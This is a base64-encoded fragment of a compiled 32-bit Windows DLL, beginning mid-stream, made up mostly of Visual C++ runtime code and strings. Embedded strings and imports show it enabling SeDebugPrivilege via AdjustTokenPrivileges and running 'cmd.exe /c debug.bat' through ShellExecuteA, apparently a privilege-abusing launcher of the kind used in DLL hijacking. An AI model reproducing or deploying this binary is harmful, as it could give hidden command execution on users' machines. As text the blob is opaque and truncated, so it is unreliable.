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QBiAGUAcgAAAEEAdQBnAHUAcwB0AAAAAABKAHUAbAB5AAAAAABKAHUAbgBlAAAAAABBAHAAcgBpAGwAAABNAGEAcgBjAGgAAABGAGUAYgByAHUAYQByAHkAAAAAAEoAYQBuAHUAYQByAHkAAABEAGUAYwAAAE4AbwB2AAAATwBjAHQAAABTAGUAcAAAAEEAdQBnAAAASgB1AGwAAABKAHUAbgAAAE0AYQB5AAAAQQBwAHIAAABNAGEAcgAAAEYAZQBiAAAASgBhAG4AAABTAGEAdAB1AHIAZABhAHkAAAAAAEYAcgBpAGQAYQB5AAAAAABUAGgAdQByAHMAZABhAHkAAAAAAFcAZQBkAG4AZQBzAGQAYQB5AAAAVAB1AGUAcwBkAGEAeQAAAE0AbwBuAGQAYQB5AAAAAABTAHUAbgBkAGEAeQAAAAAAUwBhAHQAAABGAHIAaQAAAFQAaAB1AAAAVwBlAGQAAABUAHUAZQAAAE0AbwBuAAAAUwB1AG4AAABISDptbTpzcwAAAABkZGRkLCBNTU1NIGRkLCB5eXl5AE1NL2RkL3l5AAAAAFBNAABBTQAARGVjZW1iZXIAAAAATm92ZW1iZXIAAAAAT2N0b2JlcgBTZXB0ZW1iZXIAAABBdWd1c3QAAEp1bHkAAAAASnVuZQAAAABBcHJpbAAAAE1hcmNoAAAARmVicnVhcnkAAAAASmFudWFyeQBEZWMATm92AE9jdABTZXAAQXVnAEp1bABKdW4ATWF5AEFwcgBNYXIARmViAEphbgBTYXR1cmRheQAAAABGcmlkYXkAAFRodXJzZGF5AAAAAFdlZG5lc2RheQAAAFR1ZXNkYXkATW9uZGF5AABTdW5kYXkAAFNhdABGcmkAVGh1AFdlZABUdWUATW9uAFN1bgByAHUAbgB0AGkAbQBlACAAZQByAHIAbwByACAAAAAAAA0ACgAAAAAAVABMAE8AUwBTACAAZQByAHIAbwByAA0ACgAAAFMASQBOAEcAIABlAHIAcgBvAHIADQAKAAAAAABEAE8ATQBBAEkATgAgAGUAcgByAG8AcgANAAoAAAAAAFIANgAwADMAMwANAAoALQAgAEEAdAB0AGUAbQBwAHQAIAB0AG8AIAB1AHMAZQAgAE0AUwBJAEwAIABjAG8AZABlACAAZgByAG8AbQAgAHQAaABpAHMAIABhAHMAcwBlAG0AYgBsAHkAIABkAHUAcgBpAG4AZwAgAG4AYQB0AGkAdgBlACAAYwBvAGQAZQAgAGkAbgBpAHQAaQBhAGwAaQB6AGEAdABpAG8AbgAKAFQAaABpAHMAIABpAG4AZABpAGMAYQB0AGUAcwAgAGEAIABiAHUAZwAgAGkAbgAgAHkAbwB1AHIAIABhAHAAcABsAGkAYwBhAHQAaQBvAG4ALgAgAEkAdAAgAGkAcwAgAG0AbwBzAHQAIABsAGkAawBlAGwAeQAgAHQAaABlACAAcgBlAHMAdQBsAHQAIABvAGYAIABjAGEAbABsAGkAbgBnACAAYQBuACAATQBTAEkATAAtAGMAbwBtAHAAaQBsAGUAZAAgACgALwBjAGwAcgApACAAZgB1AG4AYwB0AGkAbwBuACAAZgByAG8AbQAgAGEAIABuAGEAdABpAHYAZQAgAGMAbwBuAHMAdAByAHUAYwB0AG8AcgAgAG8AcgAgAGYAcgBvAG0AIABEAGwAbABNAGEAaQBuAC4ADQAKAAAAAABSADYAMAAzADIADQAKAC0AIABuAG8AdAAgAGUAbgBvAHUAZwBoACAAcwBwAGEAYwBlACAAZgBvAHIAIABsAG8AYwBhAGwAZQAgAGkAbgBmAG8AcgBtAGEAdABpAG8AbgANAAoAAAAAAFIANgAwADMAMQANAAoALQAgAEEAdAB0AGUAbQBwAHQAIAB0AG8AIABpAG4AaQB0AGkAYQBsAGkAegBlACAAdABoAGUAIABDAFIAVAAgAG0AbwByAGUAIAB0AGgAYQBuACAAbwBuAGMAZQAuAAoAVABoAGkAcwAgAGkAbgBkAGkAYwBhAHQAZQBzACAAYQAgAGIAdQBnACAAaQBuACAAeQBvAHUAcgAgAGEAcABwAGwAaQBjAGEAdABpAG8AbgAuAA0ACgAAAAAAUgA2ADAAMwAwAA0ACgAtACAAQwBSAFQAIABuAG8AdAAgAGkAbgBpAHQAaQBhAGwAaQB6AGUAZAANAAoAAAAAAFIANgAwADIAOAANAAoALQAgAHUAbgBhAGIAbABlACAAdABvACAAaQBuAGkAdABpAGEAbABpAHoAZQAgAGgAZQBhAHAADQAKAAAAAAAAAAAAUgA2ADAAMgA3AA0ACgAtACAAbgBvAHQAIABlAG4AbwB1AGcAaAAgAHMAcABhAGMAZQAgAGYAbwByACAAbABvAHcAaQBvACAAaQBuAGkAdABpAGEAbABpAHoAYQB0AGkAbwBuAA0ACgAAAAAAAAAAAFIANgAwADIANgANAAoALQAgAG4AbwB0ACAAZQBuAG8AdQBnAGgAIABzAHAAYQBjAGUAIABmAG8AcgAgAHMAdABkAGkAbwAgAGkAbgBpAHQAaQBhAGwAaQB6AGEAdABpAG8AbgANAAoAAAAAAAAAAABSADYAMAAyADUADQAKAC0AIABwAHUAcgBlACAAdgBpAHIAdAB1AGEAbAAgAGYAdQBuAGMAdABpAG8AbgAgAGMAYQBsAGwADQAKAAAAAAAAAFIANgAwADIANAANAAoALQAgAG4AbwB0ACAAZQBuAG8AdQBnAGgAIABzAHAAYQBjAGUAIABmAG8AcgAgAF8AbwBuAGUAeABpAHQALwBhAHQAZQB4AGkAdAAgAHQAYQBiAGwAZQANAAoAAAAAAAAAAABSADYAMAAxADkADQAKAC0AIAB1AG4AYQBiAGwAZQAgAHQAbwAgAG8AcABlAG4AIABjAG8AbgBzAG8AbABlACAAZABlAHYAaQBjAGUADQAKAAAAAAAAAAAAUgA2ADAAMQA4AA0ACgAtACAAdQBuAGUAeABwAGUAYwB0AGUAZAAgAGgAZQBhAHAAIABlAHIAcgBvAHIADQAKAAAAAAAAAAAAUgA2ADAAMQA3AA0ACgAtACAAdQBuAGUAeABwAGUAYwB0AGUAZAAgAG0AdQBsAHQAaQB0AGgAcgBlAGEAZAAgAGwAbwBjAGsAIABlAHIAcgBvAHIADQAKAAAAAAAAAAAAUgA2ADAAMQA2AA0ACgAtACAAbgBvAHQAIABlAG4AbwB1AGcAaAAgAHMAcABhAGMAZQAgAGYAbwByACAAdABoAHIAZQBhAGQAIABkAGEAdABhAA0ACgAAAFIANgAwADEAMAANAAoALQAgAGEAYgBvAHIAdAAoACkAIABoAGEAcwAgAGIAZQBlAG4AIABjAGEAbABsAGUAZAANAAoAAAAAAFIANgAwADAAOQANAAoALQAgAG4AbwB0ACAAZQBuAG8AdQBnAGgAIABzAHAAYQBjAGUAIABmAG8AcgAgAGUAbgB2AGkAcgBvAG4AbQBlAG4AdAANAAoAAABSADYAMAAwADgADQAKAC0AIABuAG8AdAAgAGUAbgBvAHUAZwBoACAAcwBwAGEAYwBlACAAZgBvAHIAIABhAHIAZwB1AG0AZQBuAHQAcwANAAoAAAAAAAAAUgA2ADAAMAAyAA0ACgAtACAAZgBsAG8AYQB0AGkAbgBnACAAcABvAGkAbgB0ACAAcwB1AHAAcABvAHIAdAAgAG4AbwB0ACAAbABvAGEAZABlAGQADQAKAAAAAAAAAAAAAgAAACBuABAIAAAAyG0AEAkAAABwbQAQCgAAAChtABAQAAAA0GwAEBEAAABwbAAQEgAAAChsABATAAAA0GsAEBgAAABgawAQGQAAABBrABAaAAAAoGoAEBsAAAAwagAQHAAAAOBpABAeAAAAoGkAEB8AAADYaAAQIAAAAHBoABAhAAAAgGYAEHgAAABgZgAQeQAAAERmABB6AAAAKGYAEPwAAAAgZgAQ/wAAAABmABBNAGkAYwByAG8AcwBvAGYAdAAgAFYAaQBzAHUAYQBsACAAQwArACsAIABSAHUAbgB0AGkAbQBlACAATABpAGIAcgBhAHIAeQAAAAAACgAKAAAAAAAuAC4ALgAAADwAcAByAG8AZwByAGEAbQAgAG4AYQBtAGUAIAB1AG4AawBuAG8AdwBuAD4AAAAAAFIAdQBuAHQAaQBtAGUAIABFAHIAcgBvAHIAIQAKAAoAUAByAG8AZwByAGEAbQA6ACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAgACAAIAAgACAAIAAgACAAKAAoACgAKAAoACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEgAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAhACEAIQAhACEAIQAhACEAIQAhAAQABAAEAAQABAAEAAQAIEAgQCBAIEAgQCBAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQAQABAAEAAQABAAEACCAIIAggCCAIIAggACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAEAAQABAAEAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAIAAgACAAIAAgACAAIAAgAGgAKAAoACgAKAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABIABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQAIQAhACEAIQAhACEAIQAhACEAIQAEAAQABAAEAAQABAAEACBAYEBgQGBAYEBgQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBEAAQABAAEAAQABAAggGCAYIBggGCAYIBAgECAQIBAgECAQIBAgECAQIBAgECAQIBAgECAQIBAgECAQIBAgECARAAEAAQABAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAASAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAFAAUABAAEAAQABAAEAAUABAAEAAQABAAEAAQAAEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEQAAEBAQEBAQEBAQEBAQEBAgECAQIBAgECAQIBAgECAQIBAgECAQIBAgECAQIBAgECAQIBAgECAQIBAgECAQIBEAACAQIBAgECAQIBAgECAQIBAQEAAAAAgIGCg4SFhoeIiYqLjI2Oj5CRkpOUlZaXmJmam5ydnp+goaKjpKWmp6ipqqusra6vsLGys7S1tre4ubq7vL2+v8DBwsPExcbHyMnKy8zNzs/Q0dLT1NXW19jZ2tvc3d7f4OHi4+Tl5ufo6err7O3u7/Dx8vP09fb3+Pn6+/z9/v8AAQIDBAUGBwgJCgsMDQ4PEBESExQVFhcYGRobHB0eHyAhIiMkJSYnKCkqKywtLi8wMTIzNDU2Nzg5Ojs8PT4/QGFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6W1xdXl9gYWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXp7fH1+f4CBgoOEhYaHiImKi4yNjo+QkZKTlJWWl5iZmpucnZ6foKGio6SlpqeoqaqrrK2ur7CxsrO0tba3uLm6u7y9vr/AwcLDxMXGx8jJysvMzc7P0NHS09TV1tfY2drb3N3e3+Dh4uPk5ebn6Onq6+zt7u/w8fLz9PX29/j5+vv8/f7/gIGCg4SFhoeIiYqLjI2Oj5CRkpOUlZaXmJmam5ydnp+goaKjpKWmp6ipqqusra6vsLGys7S1tre4ubq7vL2+v8DBwsPExcbHyMnKy8zNzs/Q0dLT1NXW19jZ2tvc3d7f4OHi4+Tl5ufo6err7O3u7/Dx8vP09fb3+Pn6+/z9/v8AAQIDBAUGBwgJCgsMDQ4PEBESExQVFhcYGRobHB0eHyAhIiMkJSYnKCkqKywtLi8wMTIzNDU2Nzg5Ojs8PT4/QEFCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaW1xdXl9gQUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVp7fH1+f4CBgoOEhYaHiImKi4yNjo+QkZKTlJWWl5iZmpucnZ6foKGio6SlpqeoqaqrrK2ur7CxsrO0tba3uLm6u7y9vr/AwcLDxMXGx8jJysvMzc7P0NHS09TV1tfY2drb3N3e3+Dh4uPk5ebn6Onq6+zt7u/w8fLz9PX29/j5+vv8/f7/R2V0UHJvY2Vzc1dpbmRvd1N0YXRpb24AR2V0VXNlck9iamVjdEluZm9ybWF0aW9uVwAAAEdldExhc3RBY3RpdmVQb3B1cAAAR2V0QWN0aXZlV2luZG93AE1lc3NhZ2VCb3hXAFUAUwBFAFIAMwAyAC4ARABMAEwAAAAAACBDb21wbGV0ZSBPYmplY3QgTG9jYXRvcicAAAAgQ2xhc3MgSGllcmFyY2h5IERlc2NyaXB0b3InAAAAACBCYXNlIENsYXNzIEFycmF5JwAAIEJhc2UgQ2xhc3MgRGVzY3JpcHRvciBhdCAoACBUeXBlIERlc2NyaXB0b3InAAAAYGxvY2FsIHN0YXRpYyB0aHJlYWQgZ3VhcmQnAGBtYW5hZ2VkIHZlY3RvciBjb3B5IGNvbnN0cnVjdG9yIGl0ZXJhdG9yJwAAYHZlY3RvciB2YmFzZSBjb3B5IGNvbnN0cnVjdG9yIGl0ZXJhdG9yJwAAAABgdmVjdG9yIGNvcHkgY29uc3RydWN0b3IgaXRlcmF0b3InAABgZHluYW1pYyBhdGV4aXQgZGVzdHJ1Y3RvciBmb3IgJwAAAABgZHluYW1pYyBpbml0aWFsaXplciBmb3IgJwAAYGVoIHZlY3RvciB2YmFzZSBjb3B5IGNvbnN0cnVjdG9yIGl0ZXJhdG9yJwBgZWggdmVjdG9yIGNvcHkgY29uc3RydWN0b3IgaXRlcmF0b3InAAAAYG1hbmFnZWQgdmVjdG9yIGRlc3RydWN0b3IgaXRlcmF0b3InAAAAAGBtYW5hZ2VkIHZlY3RvciBjb25zdHJ1Y3RvciBpdGVyYXRvcicAAABgcGxhY2VtZW50IGRlbGV0ZVtdIGNsb3N1cmUnAAAAAGBwbGFjZW1lbnQgZGVsZXRlIGNsb3N1cmUnAABgb21uaSBjYWxsc2lnJwAAIGRlbGV0ZVtdAAAAIG5ld1tdAABgbG9jYWwgdmZ0YWJsZSBjb25zdHJ1Y3RvciBjbG9zdXJlJwBgbG9jYWwgdmZ0YWJsZScAYFJUVEkAAABgRUgAYHVkdCByZXR1cm5pbmcnAGBjb3B5IGNvbnN0cnVjdG9yIGNsb3N1cmUnAABgZWggdmVjdG9yIHZiYXNlIGNvbnN0cnVjdG9yIGl0ZXJhdG9yJwAAYGVoIHZlY3RvciBkZXN0cnVjdG9yIGl0ZXJhdG9yJwBgZWggdmVjdG9yIGNvbnN0cnVjdG9yIGl0ZXJhdG9yJwAAAABgdmlydHVhbCBkaXNwbGFjZW1lbnQgbWFwJwAAYHZlY3RvciB2YmFzZSBjb25zdHJ1Y3RvciBpdGVyYXRvcicAYHZlY3RvciBkZXN0cnVjdG9yIGl0ZXJhdG9yJwAAAABgdmVjdG9yIGNvbnN0cnVjdG9yIGl0ZXJhdG9yJwAAAGBzY2FsYXIgZGVsZXRpbmcgZGVzdHJ1Y3RvcicAAAAAYGRlZmF1bHQgY29uc3RydWN0b3IgY2xvc3VyZScAAABgdmVjdG9yIGRlbGV0aW5nIGRlc3RydWN0b3InAAAAAGB2YmFzZSBkZXN0cnVjdG9yJwAAYHN0cmluZycAAAAAYGxvY2FsIHN0YXRpYyBndWFyZCcAAAAAYHR5cGVvZicAAAAAYHZjYWxsJwBgdmJ0YWJsZScAAABgdmZ0YWJsZScAAABePQAAfD0AACY9AAA8PD0APj49ACU9AAAvPQAALT0AACs9AAAqPQAAfHwAACYmAAB8AAAAXgAAAH4AAAAoKQAALAAAAD49AAA+AAAAPD0AADwAAAAlAAAALwAAAC0+KgAmAAAAKwAAAC0AAAAtLQAAKysAACoAAAAtPgAAb3BlcmF0b3IAAAAAW10AACE9AAA9PQAAIQAAADw8AAA+PgAAPQAAACBkZWxldGUAIG5ldwAAAABfX3VuYWxpZ25lZABfX3Jlc3RyaWN0AABfX3B0cjY0AF9fZWFiaQAAX19jbHJjYWxsAAAAX19mYXN0Y2FsbAAAX190aGlzY2FsbAAAX19zdGRjYWxsAAAAX19wYXNjYWwAAAAAX19jZGVjbABfX2Jhc2VkKAAAAAAMfgAQBH4AEPh9ABDsfQAQ4H0AENR9ABDIfQAQwH0AELh9ABCsfQAQoH0AEJ19ABCYfQAQkH0AEIx9ABCIfQAQhH0AEIB9ABB8fQAQeH0AEHR9ABBofQAQZH0AEGB9ABBcfQAQWH0AEFR9ABBQfQAQTH0AEEh9ABBEfQAQQH0AEDx9ABA4fQAQNH0AEDB9ABAsfQAQKH0AECR9ABAgfQAQHH0AEBh9ABAUfQAQEH0AEAx9ABAIfQAQBH0AEAB9ABD8fAAQ+HwAEPR8ABDwfAAQ7HwAEOB8ABDUfAAQzHwAEMB8ABCofAAQnHwAEIh8ABBofAAQSHwAECh8ABAIfAAQ6HsAEMR7ABCoewAQhHsAEGR7ABA8ewAQIHsAEBB7ABAMewAQBHsAEPR6ABDQegAQyHoAELx6ABCsegAQkHoAEHB6ABBIegAQIHoAEPh5ABDMeQAQsHkAEIx5ABBoeQAQPHkAEBB5ABD0eAAQnX0AEOB4ABDEeAAQsHgAEJB4ABB0eAAQAAAAAAECAwQFBgcICQoLDA0ODxAREhMUFRYXGBkaGxwdHh8gISIjJCUmJygpKissLS4vMDEyMzQ1Njc4OTo7PD0+P0BBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWltcXV5fYGFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6e3x9fn8AU2VEZWJ1Z1ByaXZpbGVnZQAAAAAAAAAAL2MgZGVidWcuYmF0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAAAAAAYzpcd2luZG93c1xzeXN0ZW0zMlxjbWQuZXhlAG9wZW4AAAAASAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJAAEOCBABADAAAAAAAAAAAAAAAAAAAACJAAEAyBABAAAAAAAAAAAAIAAAAcgQAQKIEAEESBABAAAAAACJAAEAEAAAAAAAAA/////wAAAABAAAAADIEAECSQABAAAAAAAAAAAP////8AAAAAQAAAAGCBABAAAAAAAAAAAAEAAABwgQAQRIEAEAAAAAAAAAAAAAAAAAAAAAAkkAAQYIEAEAAAAAAAAAAAAAAAAJCQABCggQAQAAAAAAAAAAABAAAAsIEAELiBABAAAAAAkJAAEAAAAAAAAAAA/////wAAAABAAAAAoIEAEAAAAAAAAAAAAAAAAGAlAADwQwAAEFYAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/v///wAAAADY////AAAAAP7///8AAAAA2REAEAAAAAD+////AAAAANT///8AAAAA/v///zkTABBKEwAQAAAAAIUUABAAAAAATIIAEAIAAABYggAQdIIAEAAAAAAIkAAQAAAAAP////8AAAAADAAAALcUABAAAAAAJJAAEAAAAAD/////AAAAAAwAAADrKQAQ/v///wAAAADY////AAAAAP7///8AAAAAcxYAEP7///8AAAAAghYAEP7///8AAAAA2P///wAAAAD+////AAAAADUYABD+////AAAAAEEYABD+////AAAAAMD///8AAAAA/v///wAAAAC9HQAQAAAAAP7///8AAAAA1P///wAAAAD+////AAAAAGkrABAAAAAA/v///wAAAADU////AAAAAP7///8AAAAADi4AEAAAAAD+////AAAAANT///8AAAAA/v///wAAAAB3MQAQAAAAAP7///8AAAAA1P///wAAAAD+////AAAAAD40ABAAAAAA/v///wAAAADM////AAAAAP7///8AAAAAlzgAEAAAAAD+////AAAAANj///8AAAAA/v///5I6ABCWOgAQAAAAAP7///8AAAAAwP///wAAAAD+////AAAAAH88ABAAAAAA/v///wAAAADY////AAAAAP7///+7PwAQzj8AEAAAAAD+////AAAAANT///8AAAAA/v///wAAAAAZRQAQfIQAAAAAAAAAAAAAloUAABBgAABshAAAAAAAAAAAAADohQAAAGAAAGSFAAAAAAAAAAAAAAaGAAD4YAAAAAAAAAAAAAAAAAAAAAAAAAAAAADQhQAAuIUAAKSFAAAAAAAAiIUAAICFAABshQAAEoYAACiGAAA4hgAASoYAAF6GAAB6hgAAmIYAAKyGAAC8hgAAyIYAANaGAADkhgAA7oYAAAaHAAAahwAAKocAADqHAABShwAAZIcAAHCHAAB+hwAAkIcAAKCHAADIhwAA1ocAAOiHAAAAiAAAFogAADCIAABGiAAAYIgAAG6IAAB8iAAAlogAAKaIAAC8iAAA1ogAAOKIAAD0iAAADIkAACSJAAAwiQAAOokAAEaJAABYiQAAZokAAHaJAACCiQAAmIkAAKSJAACwiQAAwIkAANaJAADoiQAAAAAAAPaFAAAAAAAAwAFHZXRDdXJyZW50UHJvY2VzcwCyBFNsZWVwAFIAQ2xvc2VIYW5kbGUAS0VSTkVMMzIuZGxsAAD3AU9wZW5Qcm9jZXNzVG9rZW4AAJYBTG9va3VwUHJpdmlsZWdlVmFsdWVBAB8AQWRqdXN0VG9rZW5Qcml2aWxlZ2VzAEFEVkFQSTMyLmRsbAAAHgFTaGVsbEV4ZWN1dGVBAFNIRUxMMzIuZGxsAMUBR2V0Q3VycmVudFRocmVhZElkAADKAERlY29kZVBvaW50ZXIAhgFHZXRDb21tYW5kTGluZUEAwARUZXJtaW5hdGVQcm9jZXNzAADTBFVuaGFuZGxlZEV4Y2VwdGlvbkZpbHRlcgAApQRTZXRVbmhhbmRsZWRFeGNlcHRpb25GaWx0ZXIAAANJc0RlYnVnZ2VyUHJlc2VudADqAEVuY29kZVBvaW50ZXIAxQRUbHNBbGxvYwAAxwRUbHNHZXRWYWx1ZQDIBFRsc1NldFZhbHVlAMYEVGxzRnJlZQDvAkludGVybG9ja2VkSW5jcmVtZW50AAAYAkdldE1vZHVsZUhhbmRsZVcAAHMEU2V0TGFzdEVycm9yAAACAkdldExhc3RFcnJvcgAA6wJJbnRlcmxvY2tlZERlY3JlbWVudAAARQJHZXRQcm9jQWRkcmVzcwAAzwJIZWFwRnJlZQAAGQFFeGl0UHJvY2VzcwBvBFNldEhhbmRsZUNvdW50AABkAkdldFN0ZEhhbmRsZQAA4wJJbml0aWFsaXplQ3JpdGljYWxTZWN0aW9uQW5kU3BpbkNvdW50APMBR2V0RmlsZVR5cGUAYwJHZXRTdGFydHVwSW5mb1cA0QBEZWxldGVDcml0aWNhbFNlY3Rpb24AEwJHZXRNb2R1bGVGaWxlTmFtZUEAAGEBRnJlZUVudmlyb25tZW50U3RyaW5nc1cAEQVXaWRlQ2hhclRvTXVsdGlCeXRlANoBR2V0RW52aXJvbm1lbnRTdHJpbmdzVwAAzQJIZWFwQ3JlYXRlAADOAkhlYXBEZXN0cm95AKcDUXVlcnlQZXJmb3JtYW5jZUNvdW50ZXIAkwJHZXRUaWNrQ291bnQAAMEBR2V0Q3VycmVudFByb2Nlc3NJZAB5AkdldFN5c3RlbVRpbWVBc0ZpbGVUaW1lAMsCSGVhcEFsbG9jALEDUmFpc2VFeGNlcHRpb24AADkDTGVhdmVDcml0aWNhbFNlY3Rpb24AAO4ARW50ZXJDcml0aWNhbFNlY3Rpb24AAHIBR2V0Q1BJbmZvAGgBR2V0QUNQAAA3AkdldE9FTUNQAAAKA0lzVmFsaWRDb2RlUGFnZQDSAkhlYXBSZUFsbG9jAD8DTG9hZExpYnJhcnlXAAAlBVdyaXRlRmlsZQAUAkdldE1vZHVsZUZpbGVOYW1lVwAAGARSdGxVbndpbmQA1AJIZWFwU2l6ZQAALQNMQ01hcFN0cmluZ1cAAGcDTXVsdGlCeXRlVG9XaWRlQ2hhcgBpAkdldFN0cmluZ1R5cGVXAAAEA0lzUHJvY2Vzc29yRmVhdHVyZVByZXNlbnQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA